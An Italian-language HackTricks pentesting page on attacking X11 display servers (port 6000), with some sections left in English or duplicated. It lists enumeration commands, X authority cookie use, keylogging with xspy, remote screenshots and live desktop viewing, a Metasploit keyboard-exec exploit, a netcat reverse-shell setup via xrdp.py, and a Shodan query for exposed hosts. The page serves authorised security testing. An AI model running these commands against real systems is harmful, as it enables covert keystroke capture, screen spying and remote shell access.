13 KiB
6000 - Pentesting X11
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!
Insight sull'hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie sull'hacking in tempo reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime notizie
Rimani informato sul lancio delle nuove bug bounty e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Informazioni di base
X Window System (X) è un versatile sistema di finestre diffuso nei sistemi operativi basati su UNIX. Fornisce un framework per la creazione di interfacce utente grafiche (GUI), con programmi individuali che gestiscono la progettazione dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.
Porta predefinita: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumerazione
Controlla la connessione anonima:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Enumerazione Locale
Il file .Xauthority
nella cartella home dell'utente viene utilizzato da X11 per l'autorizzazione. Da qui:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Generazione di 128 bit di chiave ("cookie"), memorizzandola in ~/.Xauthority (o dove punta la variabile di ambiente XAUTHORITY). Il client la invia al server in chiaro! Il server controlla se ha una copia di questo "cookie" e, in caso affermativo, la connessione viene consentita. La chiave è generata da DMX.
{% hint style="warning" %}
Per utilizzare il cookie è necessario impostare la variabile di ambiente: export XAUTHORITY=/percorso/a/.Xauthority
{% endhint %}
Sessione di enumerazione locale
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
Verifica Connessione
To verify the X11 connection, you can use the xeyes
command. This command will open a small window with a pair of eyes that follow the mouse cursor. If the eyes appear on the remote machine, it means that the X11 connection is working properly.
Per verificare la connessione X11, puoi utilizzare il comando xeyes
. Questo comando aprirà una piccola finestra con una coppia di occhi che seguiranno il cursore del mouse. Se gli occhi appaiono sulla macchina remota, significa che la connessione X11 funziona correttamente.
$ xeyes
If the xeyes
command is not found, you may need to install it. On Debian-based systems, you can install it with the following command:
Se il comando xeyes
non viene trovato, potrebbe essere necessario installarlo. Nei sistemi basati su Debian, puoi installarlo con il seguente comando:
$ sudo apt-get install x11-apps
Once installed, you can run the xeyes
command again to verify the X11 connection.
Una volta installato, puoi eseguire nuovamente il comando xeyes
per verificare la connessione X11.
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy per intercettare le pressioni dei tasti della tastiera.
Esempio di output:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Cattura degli screenshot
To capture screenshots during a penetration test, you can use various tools and techniques. Here are some methods you can employ:
1. Scrot
Scrot is a command-line tool that allows you to capture screenshots in Linux. You can install it using the following command:
sudo apt-get install scrot
To capture a screenshot, simply run the following command:
scrot screenshot.png
This will save the screenshot as screenshot.png
in the current directory.
2. Xwd
Xwd is another command-line tool that can be used to capture screenshots in X Window System. To capture a screenshot, run the following command:
xwd -root -out screenshot.xwd
This will save the screenshot as screenshot.xwd
in the current directory.
3. Xwdtopnm
Xwdtopnm is a command-line tool that converts X Window System screenshots to the PNM format. To capture a screenshot and convert it to PNM, run the following command:
xwd -root -out screenshot.xwd
xwdtopnm screenshot.xwd > screenshot.pnm
This will save the screenshot as screenshot.pnm
in the current directory.
4. Xvfb
Xvfb (X virtual framebuffer) is a display server that can be used to capture screenshots in headless environments. To capture a screenshot using Xvfb, follow these steps:
-
Install Xvfb using the following command:
sudo apt-get install xvfb
-
Start Xvfb using the following command:
Xvfb :99 -screen 0 1024x768x24 &
-
Set the
DISPLAY
environment variable to:99
:export DISPLAY=:99
-
Capture a screenshot using any of the previously mentioned tools (e.g.,
scrot
,xwd
,xwdtopnm
).
These are just a few methods you can use to capture screenshots during a penetration test. Experiment with different tools and techniques to find the one that works best for your specific needs.
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Visualizzazione Desktop Remoto
Procedura da: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Modo da: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
Prima di tutto dobbiamo trovare l'ID della finestra utilizzando xwininfo.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Per la visualizzazione in tempo reale è necessario utilizzare
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Ottenere una Shell
To get a shell, you can exploit vulnerabilities in X11 services. Here are some techniques you can use:
1. X11 Forwarding
If X11 forwarding is enabled on the target system, you can use it to run X11 applications remotely and potentially gain a shell. To do this, you need to have SSH access to the target system and enable X11 forwarding in your SSH client.
2. X11 Injection
X11 injection involves injecting malicious code into a legitimate X11 application to gain control over the target system. This technique requires you to have access to the target system and the ability to execute arbitrary code.
3. X11 Server Exploitation
If the X11 server on the target system is misconfigured or outdated, you may be able to exploit known vulnerabilities to gain a shell. This technique requires you to identify the version and configuration of the X11 server and then search for relevant exploits.
4. X11 Port Forwarding
X11 port forwarding allows you to forward X11 traffic from the target system to your local machine. This can be useful if you want to interact with X11 applications running on the target system. To set up X11 port forwarding, you need to have SSH access to the target system and enable X11 forwarding in your SSH client.
5. X11 Reverse Shell
A reverse shell involves establishing a connection from the target system to your machine, allowing you to gain a shell. To achieve this, you need to set up a listener on your machine and exploit a vulnerability in an X11 application running on the target system to establish the reverse connection.
Remember to always obtain proper authorization before attempting any of these techniques.
msf> use exploit/unix/x11/x11_keyboard_exec
Altro modo:
Shell inversa: Xrdp consente anche di ottenere una shell inversa tramite Netcat. Digita il seguente comando:
./xrdp.py \<IP:0> –no-disp
Nell'interfaccia puoi vedere l'opzione R-shell.
Successivamente, avvia un listener Netcat nel tuo sistema locale sulla porta 5555.
nc -lvp 5555
Successivamente, inserisci il tuo indirizzo IP e la porta nell'opzione R-Shell e clicca su R-shell per ottenere una shell.
Riferimenti
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!
Hacking Insights
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie di Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime Novità
Rimani informato sul lancio delle nuove taglie di bug e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.